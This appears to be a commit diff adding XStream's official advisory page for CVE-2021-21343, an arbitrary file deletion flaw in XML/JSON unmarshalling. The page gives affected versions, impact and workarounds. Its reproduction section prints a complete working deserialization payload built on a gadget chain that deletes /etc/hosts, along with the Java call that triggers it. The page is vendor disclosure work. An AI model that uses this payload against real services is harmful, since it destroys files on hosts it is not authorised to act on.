|
| 1 | +<html> |
| 2 | +<!-- |
| 3 | + Copyright (C) 2021 XStream committers. |
| 4 | + All rights reserved. |
| 5 | + |
| 6 | + The software in this package is published under the terms of the BSD |
| 7 | + style license a copy of which has been included with this distribution in |
| 8 | + the LICENSE.txt file. |
| 9 | + |
| 10 | + Created on 16. January 2021 by Joerg Schaible |
| 11 | + --> |
| 12 | + <head> |
| 13 | + <title>CVE-2021-21343</title> |
| 14 | + </head> |
| 15 | + <body> |
| 16 | + |
| 17 | + <h2 id="vulnerability">Vulnerability</h2> |
| 18 | + |
| 19 | + <p>CVE-2021-21343: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long |
| 20 | + as the executing process has sufficient rights.</p> |
| 21 | + |
| 22 | + <h2 id="affected_versions">Affected Versions</h2> |
| 23 | + |
| 24 | + <p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is |
| 25 | + affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security |
| 26 | + framework</a> with a whitelist limited to the minimal required types.</p> |
| 27 | + |
| 28 | + <h2 id="description">Description</h2> |
| 29 | + |
| 30 | + <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. |
| 31 | + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed |
| 32 | + input stream and replace or inject objects, that result in the deletion of a file on the local host.</p> |
| 33 | + |
| 34 | + <h2 id="reproduction">Steps to Reproduce</h2> |
| 35 | + |
| 36 | + <p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and |
| 37 | + unmarshal it again with XStream:</p> |
| 38 | +<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> |
| 39 | + <unserializable-parents/> |
| 40 | + <java.util.PriorityQueue> |
| 41 | + <default> |
| 42 | + <size>2</size> |
| 43 | + <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> |
| 44 | + <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> |
| 45 | + <packet> |
| 46 | + <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> |
| 47 | + <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'> |
| 48 | + <part> |
| 49 | + <dataHead> |
| 50 | + <tail/> |
| 51 | + <head> |
| 52 | + <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'> |
| 53 | + <len>3</len> |
| 54 | + <data>AQID</data> |
| 55 | + </data> |
| 56 | + </head> |
| 57 | + </dataHead> |
| 58 | + <contentTransferEncoding>base64</contentTransferEncoding> |
| 59 | + <msg> |
| 60 | + <it class='java.util.ArrayList$Itr'> |
| 61 | + <cursor>0</cursor> |
| 62 | + <lastRet>1</lastRet> |
| 63 | + <expectedModCount>4</expectedModCount> |
| 64 | + <outer-class> |
| 65 | + <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> |
| 66 | + <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> |
| 67 | + <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> |
| 68 | + <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> |
| 69 | + </outer-class> |
| 70 | + </it> |
| 71 | + <in class='java.io.FileInputStream'> |
| 72 | + <fd/> |
| 73 | + <channel class='sun.nio.ch.FileChannelImpl'> |
| 74 | + <closeLock/> |
| 75 | + <open>true</open> |
| 76 | + <threads> |
| 77 | + <used>-1</used> |
| 78 | + </threads> |
| 79 | + <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'> |
| 80 | + <sockClient> |
| 81 | + <fileName>/etc/hosts</fileName> |
| 82 | + <unlinkFile>true</unlinkFile> |
| 83 | + </sockClient> |
| 84 | + <connectionSync/> |
| 85 | + </parent> |
| 86 | + </channel> |
| 87 | + <closeLock/> |
| 88 | + </in> |
| 89 | + </msg> |
| 90 | + </part> |
| 91 | + </dataSource> |
| 92 | + </message> |
| 93 | + <satellites/> |
| 94 | + <invocationProperties/> |
| 95 | + </packet> |
| 96 | + </indexMap> |
| 97 | + </comparator> |
| 98 | + </default> |
| 99 | + <int>3</int> |
| 100 | + <string>javax.xml.ws.binding.attachments.inbound</string> |
| 101 | + <string>javax.xml.ws.binding.attachments.inbound</string> |
| 102 | + </java.util.PriorityQueue> |
| 103 | +</java.util.PriorityQueue> |
| 104 | +</pre></div> |
| 105 | +<div class="Source Java"><pre>XStream xstream = new XStream(); |
| 106 | +xstream.fromXML(xml); |
| 107 | +</pre></div> |
| 108 | + |
| 109 | + <p>As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.</p> |
| 110 | + |
| 111 | + <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> |
| 112 | + |
| 113 | + <h2 id="impact">Impact</h2> |
| 114 | + |
| 115 | + <p>The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing |
| 116 | + process has sufficient rights only by manipulating the processed input stream.</p> |
| 117 | + |
| 118 | + <h2 id="workarounds">Workarounds</h2> |
| 119 | + |
| 120 | + <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> |
| 121 | + |
| 122 | + <h2 id="credits">Credits</h2> |
| 123 | + |
| 124 | + <p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p> |
| 125 | + |
| 126 | + </body> |
| 127 | + </html> |
0 commit comments